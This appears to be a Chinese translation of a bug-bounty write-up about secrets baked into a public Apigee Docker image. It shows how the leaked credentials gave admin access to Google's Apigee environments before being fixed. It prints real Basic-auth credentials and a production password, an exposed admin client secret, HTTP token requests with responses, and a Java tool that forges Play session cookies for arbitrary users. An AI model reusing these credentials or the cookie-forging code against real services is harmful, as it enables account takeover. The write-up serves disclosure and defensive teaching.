这篇文章介绍了嵌入在
Docker
镜像中的密钥,以包含在公共谷歌云Docker
镜像 (Apigee
) 作为示例,以及如何使用这些示例来利用正在运行的服务。
密钥不应在构建时嵌入到 Docker 镜像中。然而,在进行白盒渗透测试和代码审查时,我们总是看到这种情况。这样做是为了简单起见,可能是出于偶然,因为公司缺乏密钥处理程序,或者在极少数情况下,因为没有可行的替代方案。大多数情况下,镜像被推送到私有注册表,并且在测试中证明的影响是有限的。
几年前,我能够从 Google
收购的 Apigee
中提取一个半公开的 Docker
镜像。这包含了一堆我可以用来利用他们的云环境的密钥。这篇文章详述了这些漏洞,这些漏洞已被报告给谷歌漏洞奖励计划 (VRP
) 并得到修复。
除了调查结果本身,这篇文章没有任何新内容。我们对客户的建议与行业最佳实践并无不同,但也许这可以为您为什么不应该在构建时将密钥放入 Docker 镜像中提供一些动力。
Apigee
是一个 API
管理解决方案(于 2016 年被谷歌收购), 也是我发现错误最多的 Google VRP
应用程序。我发现很多错误的原因之一是因为我能够拉取包含大部分 Apigee Edge
源代码的 Docker 镜像。之前,一个Docker
注册表部署在docker.apigee.net
,它允许未经身份验证的用户通过运行以下命令来拉取 Apigee Edge Docker
镜像:
docker pull docker.apigee.net/apigee-edge-aio:4.50.00
此镜像适用于“Apigee
混合云”用户,其中 Apigee
在本地和云中作为服务运行。它包含大量 Apigee
Java
包(JAR
)、配置文件等。JAR
可以反编译,反编译的产物与原始源代码非常接近,这对于试图查找错误的人来说非常有价值。在源代码的帮助下查找错误也是我在 Binary Security
工作期间一直在做的事情,因为我们相信与开发人员密切合作和白盒安全测试远远优于其他选择。除了通过分析源代码(SSRF
、路径遍历、授权绕过等)发现的许多其他错误外,该镜像还包含几个硬编码密码,结果在生产中被重复使用。
在我们看来,在 Docker
镜像中嵌入密钥与在源代码中以明文形式存储密钥一样糟糕。这是因为:
镜像被拉到开发人员的机器上,存储并被遗忘。这些机器可能会被黑客攻击、丢失和偷走,在员工离职后保留。
如果运行来自私有注册表的镜像的单个应用程序遭到破坏,则注册表中的所有镜像都可能泄漏,因为运行该应用程序的系统通常对注册表具有拉取权限。
无论有意或无意,镜像可以公开或与客户/合作伙伴共享
大多数情况下,我们会在以下方面发现密钥:
配置谅文件和环境文件或添加到镜像中的不必要的文件
容器中的二进制文件或脚本在源代码中具有明文密钥
Docker 镜像历史/构建参数
通常存在,因为 Docker
ADD
命令是在整个文件夹上运行的。我们通常会找到诸如.npmrc
、 .env
之类的文件, 当.git
整个目录包含到镜像中,甚至可以找到整个 git
历史记录。
在 Apigee
的案例中,镜像文件系统在这方面包含两个有趣的路径,/opt/apigee/customer/conf/
以及/opt/apigee/data/edge-router/config_backup_20200627_044825.zip
.
在浏览前者的文件后,最有趣的数据是一个有效的 Apigee
许可文件。这可能在现实世界中被滥用。
配置备份包含了 Postgres
、Cassandra
、Java JMX
接口和有趣的 Apigee
帐户(如edgeui
和zms_admin
. 我在https://apigee.com/
上尝试了我能做的那些,但它们似乎都不起作用。我认为它们可能在客户某些本地运行 Apigee
且未更改默认密钥的混合系统上有效。作为最后的努力,我在另一个实时 Apigee
环境https://e2e.apigee.net/
上尝试了其中一个密钥,然后你瞧……
POST /oauth/token HTTP/1.1
Host: login.e2e.apigee.net
Authorization: Basic ZWRnZXVpOmVkZ2V1aXNlY3JldA==
Content-Type: application/x-www-form-urlencoded
Content-Length: 29grant_type=client_credentials
HTTP/1.1 200 OK
...
{
"scope": [
"virtualhosts.get",
"userroles.get",
"users.get",
"userroles.post",
"userroles.put",
"environments.get",
"notification.get",
"organizations.delete",
"notification.put",
"apigee.support",
"organizations.get",
"internal.put",
"mint.get",
"mint.post",
"organizations.put",
"organizations.post",
"notification.post",
"mint.put",
"users.put"
],
"access_token": "eyJhbGciOiJSUzI1NiJ9.eyJqdGkiOiI1ZTVkMDNhNC1hYjcxLTQ1ODEtYTEyNS01MzljZjMyMzY0N2MiLCJzdWIiOiJlZGdldWkiLCJhdXRob3JpdGllcyI6WyJ2aXJ0dWFsaG9zdHMuZ2V0IiwidXNlcnJvbGVzLmdldCIsInVzZXJzLmdldCIsInVzZXJyb2xlcy5wb3N0IiwidXNlcnJvbGVzLnB1dCIsImVudmlyb25tZW50cy5nZXQiLCJub3RpZmljYXRpb24uZ2V0Iiwib3JnYW5pemF0aW9ucy5kZWxldGUiLCJub3RpZmljYXRpb24ucHV0IiwiYXBpZ2VlLnN1cHBvcnQiLCJvcmdhbml6YXRpb25zLmdldCIsImludGVybmFsLnB1dCIsIm1pbnQuZ2V0IiwibWludC5wb3N0Iiwib3JnYW5pemF0aW9ucy5wdXQiLCJvcmdhbml6YXRpb25zLnBvc3QiLCJub3RpZmljYXRpb24ucG9zdCIsIm1pbnQucHV0IiwidXNlcnMucHV0Il0sInNjb3BlIjpbInZpcnR1YWxob3N0cy5nZXQiLCJ1c2Vycm9sZXMuZ2V0IiwidXNlcnMuZ2V0IiwidXNlcnJvbGVzLnBvc3QiLCJ1c2Vycm9sZXMucHV0IiwiZW52aXJvbm1lbnRzLmdldCIsIm5vdGlmaWNhdGlvbi5nZXQiLCJvcmdhbml6YXRpb25zLmRlbGV0ZSIsIm5vdGlmaWNhdGlvbi5wdXQiLCJhcGlnZWUuc3VwcG9ydCIsIm9yZ2FuaXphdGlvbnMuZ2V0IiwiaW50ZXJuYWwucHV0IiwibWludC5nZXQiLCJtaW50LnBvc3QiLCJvcmdhbml6YXRpb25zLnB1dCIsIm9yZ2FuaXphdGlvbnMucG9zdCIsIm5vdGlmaWNhdGlvbi5wb3N0IiwibWludC5wdXQiLCJ1c2Vycy5wdXQiXSwiY2xpZW50X2lkIjoiZWRnZXVpIiwiY2lkIjoiZWRnZXVpIiwiYXpwIjoiZWRnZXVpIiwiZ3JhbnRfdHlwZSI6ImNsaWVudF9jcmVkZW50aWFscyIsInJldl9zaWciOiI5YTM1YjI3ZCIsImlhdCI6MTU5NjAzMDg5OSwiZXhwIjoxNTk2MDMxMDc5LCJpc3MiOiJodHRwczovL2xvZ2luLmUyZS5hcGlnZWUubmV0IiwiemlkIjoidWFhIiwiYXVkIjpbImVkZ2V1aSIsInZpcnR1YWxob3N0cyIsInVzZXJyb2xlcyIsInVzZXJzIiwiZW52aXJvbm1lbnRzIiwibm90aWZpY2F0aW9uIiwib3JnYW5pemF0aW9ucyIsImFwaWdlZSIsImludGVybmFsIiwibWludCJdfQ.K0JF9BCUEQPbl-rwLsmFy92aEWHFa0fXeuSw574uHmuPUt9CmFPlM2icXtPwVwvd3Djc1Kv_PELOofGWA03KDJ_nWY9OOMb8RQnAINy1B8Umue-JkZQ7n55KZgWPFYLA89xDCNpkvLmD8RYCLDbVr12_SzBJOWqgiXjECUIy7kN5BJDIVRv6T3opa__BpWXRgGWJU12y-u_LOXWD8HAWcy5lLMnWJmi5m1_LF2inFx-Ko3g1k5iw7fLHWxNY8OS8tJvriEzHw9HMKLr1yAdOJFlS7tB9Vg4RKqp_9uk5xX9qp6elANAE-xgrpZzao45_Fb47GvMn1kWdwP_p7UmmWA;"
}
(如果你不想解码 Basic Auth
,生产密码是edgeuisecret
)
注意到令牌 Oauth
范围了吗?甚至在测试令牌之前,我就知道它很强大。可以编辑所有用户和组织、发送通知、更改货币化系统(“mint
”)配置和神秘的internal.put
. 我在实时用户 API 上对其进行了测试确认:
452kB 的响应大小意味着成千上万的用户,所以这绝对是一个有效的错误。谷歌很快承认了这个漏洞并将其奖励为“重大安全绕过”。
同样,备份包含 ZMS 管理 API 的另一个凭据对:
GET /oauth/token?grant_type=client_credentials HTTP/1.1
Host: login.e2e.apigee.net
Authorization: Basic bWdtdC16bXMtYWRtaW46LyF6XzNDLnJXMFBxM3N1Mm89YzE=
Connection: closeHTTP/1.1 200 OK
...
{
"scopes": ["zms.admin"],
"access_token": "eyJhbGciOiJSUzI1NiJ9.eyJqdGkiOiI5NTQyMzMyNi1hODI0LTRiZDYtODU5OC05NDQzZGViNGQxZTgiLCJzdWIiOiJtZ210LXptcy1hZG1pbiIsImF1dGhvcml0aWVzIjpbInptcy5hZG1pbiJdLCJzY29wZSI6WyJ6bXMuYWRtaW4iXSwiY2xpZW50X2lkIjoibWdtdC16bXMtYWRtaW4iLCJjaWQiOiJtZ210LXptcy1hZG1pbiIsImF6cCI6Im1nbXQtem1zLWFkbWluIiwiZ3JhbnRfdHlwZSI6ImNsaWVudF9jcmVkZW50aWFscyIsInJldl9zaWciOiJiNGQyYjZlYiIsImlhdCI6MTU5NTg2NDc3MSwiZXhwIjoxNTk1ODY4MzcxLCJpc3MiOiJodHRwczovL2xvZ2luLmUyZS5hcGlnZWUubmV0IiwiemlkIjoidWFhIiwiYXVkIjpbIm1nbXQtem1zLWFkbWluIiwiem1zIl19.bEpX1gi-VAje_dOc78zgLiMi61-NUUU-Sj604xSzjO-Ku8OaiqxX2YJAajnCzrXCEHOvn1fhtOmJC8U__DZrfDkgb6PBdmMt9W011v1gsK7P6QkhGk_yNpaXFwwG29EY2bfmXC3vTwmlg2hDpki1NUJfezbG6VjRQIPnXqj5NNirHDF-Jm7LlgUk0rziti1yEe25pIG5gZAyiQ2-Qo-i_Sbo0WrJamb3gLk1tk2vvhnRLXtJOh6vcB8y5hXxs8eN02sO1PUtkwpNo_BMC0mZ32jYKPZqHJpGKB8s4DhwYbf_35LhIZlUBumWvDqkcwPEhzKwU0C1t1ugL0lZA0c-TQ"
}
此令牌的用户与edgeui
不同,也不适用于“常规”后端 API。但是,我的侦察数据库确实包含几个zms
子域,并且令牌在其中一个上起作用。由于这个 API
对我来说是未知的,所以我不得不使用目录模糊器来查找 API
路径并使用 API 错误消息来推断所需的参数。通过使用从我之前发现的其他漏洞中组合的词表并构建有效的 API
请求,我能够猜测一些有效的组织 ID
:
GET /v1/mgmt/zones?orgs=apigee-svc-sonar&orgs= HTTP/1.1
Host: zms.e2e.apigee.net
Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJqdGkiOiI5NTQyMzMyNi1hODI0LTRiZDYtODU5OC05NDQzZGViNGQxZTgiLCJzdWIiOiJtZ210LXptcy1hZG1pbiIsImF1dGhvcml0aWVzIjpbInptcy5hZG1pbiJdLCJzY29wZSI6WyJ6bXMuYWRtaW4iXSwiY2xpZW50X2lkIjoibWdtdC16bXMtYWRtaW4iLCJjaWQiOiJtZ210LXptcy1hZG1pbiIsImF6cCI6Im1nbXQtem1zLWFkbWluIiwiZ3JhbnRfdHlwZSI6ImNsaWVudF9jcmVkZW50aWFscyIsInJldl9zaWciOiJiNGQyYjZlYiIsImlhdCI6MTU5NTg2NDc3MSwiZXhwIjoxNTk1ODY4MzcxLCJpc3MiOiJodHRwczovL2xvZ2luLmUyZS5hcGlnZWUubmV0IiwiemlkIjoidWFhIiwiYXVkIjpbIm1nbXQtem1zLWFkbWluIiwiem1zIl19.bEpX1gi-VAje_dOc78zgLiMi61-NUUU-Sj604xSzjO-Ku8OaiqxX2YJAajnCzrXCEHOvn1fhtOmJC8U__DZrfDkgb6PBdmMt9W011v1gsK7P6QkhGk_yNpaXFwwG29EY2bfmXC3vTwmlg2hDpki1NUJfezbG6VjRQIPnXqj5NNirHDF-Jm7LlgUk0rziti1yEe25pIG5gZAyiQ2-Qo-i_Sbo0WrJamb3gLk1tk2vvhnRLXtJOh6vcB8y5hXxs8eN02sO1PUtkwpNo_BMC0mZ32jYKPZqHJpGKB8s4DhwYbf_35LhIZlUBumWvDqkcwPEhzKwU0C1t1ugL0lZA0c-TQ
Connection: closeHTTP/1.1 200 OK
...
{
"zones": [
{
"ID": "dcab7ead-4364-4a6d-a7c2-8048df48a898",
"UAAZoneID": "google",
"Name": "google",
"AdminClientID": "google-admin-wvqd",
"AdminClientSecret": "3j1IfAghgiqFbIaP",
"ClientsCredentials": {
"edgeui": "",
"unifiedui": "",
"edgecli": "",
"devportaladmin": "",
"useradmin": ""
},
"CreatedTime": 1490737872539,
"ModifiedTime": 1490737872539,
"Type": "edge",
"Deleted": false
}
]
}
这实际上以明文 ( AdminClientID:AdminClientSecret
) 的形式返回该组织的客户端凭据,这接着又可用于在google
身份区域中创建新的访问令牌:
GET /oauth/token?grant_type=client_credentials HTTP/1.1
Host: google.login.e2e.apigee.net
Authorization: Basic Z29vZ2xlLWFkbWluLXd2cWQ6M2oxSWZBZ2hnaXFGYklhUA==
Connection: close
使用生成的访问令牌,我现在可以登录到 Google
自身的 Apigee
实例。
与我报告的其他客户凭据一样,谷歌承认了我的报告并迅速修复了它。
源代码中的密钥通常会通过可运行的二进制文件/脚本出现在 Docker
镜像中,Apigee
镜像也不例外。
该镜像包含大量Java
包 ,准确地说是 1102 个。其中一些是公共库,但其中许多是内部库。Java 包的好处在于它通常可以很好地反编译,并且最终会得到非常接近原始源代码的东西。我从镜像中提取源代码所做的伪版本如下:
docker export `docker create docker.apigee.net/apigee-edge-aio:4.50.00` -o image.tar
tar -zxf image.tar
find . -name "*.jar"
上面的命令将创建镜像、转储镜像的文件系统并找到所有 Java
包。现在我将通过 Java
反编译器运行它,例如jd-cli
,然后我可以自由浏览源代码。
我对源代码所做的第一件事就是通过 grep
查找更多的密钥。我发现的第一个有效密钥用于org.jasypt.encryption.pbe.StandardPBEStringEncryptor
来加密包含时间戳和用户名的字符串。加密的字符串用作令牌在https://enterprise.e2e.apigee.net/sendPassword
时重置用户密码。这可以调用/setpassword
,但实际上并没有影响用户的密码。我将此归因于谷歌弃用此功能并继续摸索。
Java
代码中嵌入的另一个密钥用于Play
框架来加密会话 cookie
。
cookie PLAY_SESSION
的格式为{play_signature}-organization={org}&access_token={jwt}&role={role}&username={play_encrypted_username}&refresh_token={jwt}&isZone=0&csrfToken={csrf}
,事实证明,这可以基于用户的电子邮件地址来更改用户名和签名,从而访问任何用户帐户。
我制作了以下 Java
片段来伪造我自己的会话 cookie
,并且能够以任意目标用户/角色身份登录。
package org.binarysecurity;import play.api.libs.CryptoConfig;
import play.api.libs.Crypto;
import scala.Option;
public class Main {
// This is the key that is used in the server config (application.secret in edge-ui-4.50.00-0.0.20161/token/default.propertie)
public static String key = "597nYjAnwEF7PvU8aYCasNkwNflQBCrcV1YuWdi61VjJ9L6uUIF18zleBWZlWepo";
public static Crypto getCrypto() {
// When no transformation is applied, this is apparently the default (from https://github.com/playframework/playframework/pull/3595)
String transformation = "AES/CTR/NoPadding";
final Option<String> provider = Option.apply(null);
CryptoConfig cc = new CryptoConfig(key, provider, transformation);
return new Crypto(cc);
}
public static String decrypt(String encrypted) {
return getCrypto().decryptAES(encrypted);
}
public static String encrypt(String decrypted) {
return getCrypto().encryptAES(decrypted);
}
public static String sign(String data) {
return getCrypto().sign(data);
}
public static void help() {
System.out.println("Usage: java -jar play_recryptor.jar encrypt/decrypt/sign value [application.secret]");
System.exit(1);
}
public static void main(String[] args) {
if (args.length < 2) {
help();
} else if (args.length == 3) {
key = args[2];
}
String output = "";
switch (args[0]) {
case "encrypt":
output = encrypt(args[1]);
break;
case "decrypt":
output = decrypt(args[1]);
break;
case "sign":
output = sign(args[1]);
break;
default:
help();
}
System.out.println(output);
}
}
Docker
构建参数中的密钥比镜像文件中嵌入的密钥更为罕见。
要点是 Docker
镜像构建参数(例如指令ARG
和ENV
)包含在镜像历史元数据中,可以使用docker history
命令读出。以下面的 Dockerfile
为例:
FROM alpine:latestARG github_username=chhans
ARG github_token=ghp_jKigknNokaLOMlsnJKSKnOP
ENTRYPOINT whoami
可以从构建镜像中提取构建参数,如下所示:
$ docker history build-arg-test --no-trunc
IMAGE CREATED CREATED BY SIZE COMMENT
sha256:538ffc86d6b2f3e7095430524e4137ec58487049a6efa89eee881bb4d25e13f0 5 weeks ago ENTRYPOINT ["/bin/sh" "-c" "whoami"] 0B buildkit.dockerfile.v0
<missing> 5 weeks ago ARG github_token=ghp_jKigknNokaLOMlsnJKSKnOP 0B buildkit.dockerfile.v0
<missing> 5 weeks ago ARG github_username=chhans 0B buildkit.dockerfile.v0
<missing> 5 weeks ago /bin/sh -c #(nop) CMD ["/bin/sh"] 0B
<missing> 5 weeks ago /bin/sh -c #(nop) ADD file:9bd9ea42a9f3bdc769e80c6b8a4b117d65f73ae68e155a6172a1184e7ac8bcc1 in / 7.46MB
。
理想情况下,密钥应存储在加密密钥保险库中并在需要时加载。根据密钥的使用频率,它可以在运行容器的生命周期内保存在内存中。
许多最终出现在镜像中的密钥都是无意的,避免和检测这些情况也很重要。我们建议您:
不要将源代码目录添加到镜像中。这通常包括 .git
文件夹等。
如果应用程序是使用 Docker
构建的,请使用单独的构建阶段,并且只将生成的工件添加到注册表镜像中。
不要在 Docker
构建参数中使用密钥(必要时构建阶段除外)。
防止和检测被添加到源代码和镜像的密钥。
有一个系统可以在密钥泄漏时快速轻松地轮换密钥,因为这种情况时有发生。